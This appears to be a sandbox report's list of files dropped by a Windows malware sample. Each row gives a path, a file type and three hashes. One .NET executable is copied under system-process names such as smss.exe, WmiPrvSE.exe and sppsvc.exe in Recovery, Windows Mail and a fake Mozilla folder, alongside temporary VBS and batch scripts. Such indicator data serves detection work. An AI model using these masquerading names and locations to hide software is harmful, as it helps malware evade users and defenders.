C:\Program Files\Microsoft Office 15\ClientX64\smss.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Program Files\Windows Mail\c321b7ff01a2d7	ASCII text, with very long lines (405), with no line terminators	410FDB634EA05C07BFA6F79FFE6D3E42	D8665D6B92ABC2AB3144D4A4A9B7169DA48EE8F6	38A073FBA6797BECBA0F383FBB3CA91CE0554529F62A9E5E66BAFE182C203504
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	77FFFEE187FABB45FFC7219D421EA83F	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\24dbde2999530e	ASCII text, with very long lines (972), with no line terminators	879822E0CC727281A49AB641805EDE63	EC3F4AC89135789DCD22A8AE1AFDBCD62D50FF73	80681E45EB993890576D32D13DF5805548B2441978CE7F3E97111A85815C07EA
C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	77FFFEE187FABB45FFC7219D421EA83F	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Recovery\0a1fd5f707cd16	ASCII text, with very long lines (570), with no line terminators	9720E5B0FF0D34B1D1C7239471D654B0	1D0D69601A3E4A661C80FE926B2F95E426B90ECF	B6901722E22BDC0CF6B6BF3B2EFBFC81072E03F980B3B2225CC85FE21273A25E
C:\Recovery\c321b7ff01a2d7	ASCII text, with no line terminators	E85801B01690F732456A21EE80A5C21D	C664909E62999D5BD722779E67E6C8A68CCE0891	7C66D43AC29C78C1DB9F83CACB2B611A0210B4B211D418C03EE7F5878D39FB68
C:\Recovery\fuBYljHeUjtkgvlnN.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	77FFFEE187FABB45FFC7219D421EA83F	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
C:\Recovery\fuBYljHeUjtkgvlnN.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Recovery\sppsvc.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	77FFFEE187FABB45FFC7219D421EA83F	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
C:\Recovery\sppsvc.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2RM12KtuNp.exe.log	ASCII text, with CRLF line terminators	5D3E8414C47C0F4A064FA0043789EC3E	CF7FC44D13EA93E644AC81C5FE61D6C8EDFA41B0	4FDFF52E159C9D420E13E429CCD2B40025A0110AD84DC357BE17E21654BEEBC7
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WmiPrvSE.exe.log	CSV text	12C61586CD59AA6F2A21DF30501F71BD	E6B279DC134544867C868E3FF3C267A06CE340C7	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fuBYljHeUjtkgvlnN.exe.log	CSV text	12C61586CD59AA6F2A21DF30501F71BD	E6B279DC134544867C868E3FF3C267A06CE340C7	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\smss.exe.log	CSV text	12C61586CD59AA6F2A21DF30501F71BD	E6B279DC134544867C868E3FF3C267A06CE340C7	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sppsvc.exe.log	CSV text	12C61586CD59AA6F2A21DF30501F71BD	E6B279DC134544867C868E3FF3C267A06CE340C7	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
C:\Users\user\AppData\Local\Temp\23hskQW7hB	ASCII text, with no line terminators	5E0EF42A95EFA2522E13862D0A159BF1	5398191FDAA1DD7595C3802953F14232D010551A	F6A21BA623F2D3547B201586A3BAA2C2A862385708796169547833188F90982C
C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	77FFFEE187FABB45FFC7219D421EA83F	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe:Zone.Identifier	ASCII text, with CRLF line terminators	187F488E27DB4AF347237FE461A079AD	6693BA299EC1881249D59262276A0D2CB21F8E64	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs	ASCII text, with CRLF line terminators	ED25DF0F09F7C9D00344DF2482FA6DD7	8A0C060F385842E731946A44C61023976F86702C	5DBDDBB97F510B7662D20648B6DF33CCBB594D1995AE620960C4BD14A13ABCFE
C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs	ASCII text, with CRLF line terminators	ED25DF0F09F7C9D00344DF2482FA6DD7	8A0C060F385842E731946A44C61023976F86702C	5DBDDBB97F510B7662D20648B6DF33CCBB594D1995AE620960C4BD14A13ABCFE
C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat	DOS batch file, ASCII text, with CRLF line terminators	2D03B430B3F050DB88ABEA942CC6B178	FDA713AD3345F6820C9B6618A3844DCD0CB8B625	D913846D6F6B6E8113600FD3BD8BB6B7FC444126215D939ABE323952A54FFC7E
C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs	ASCII text, with CRLF line terminators	BCEDD5E70B87913EDB29141F76567FAA	0FF97B780B98A4A6189F84D26E2AD67989A073BE	76D35470DF93D06686F62D6D27A35E3562E55142ED816AE206D301D1A6F4BCE3
C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs	ASCII text, with CRLF line terminators	1302C42C8414F72AC85377B259FFE231	491550705846D87BBA102ED33AE2C29D899EE948	ED9C0AC67B4299A3A13308054FE53E6CCBA9882A98257612E4EDDE47B870770B
\Device\Null	ASCII text	110B9727DADD6C038F3478C3AB2AA6F1	5453BB03B3944D2B504A1D6C86D0FDB8226E8D5B	F99177163188E3A0DFF47480BABB444A555715BD6C423F49719A15EB47A44400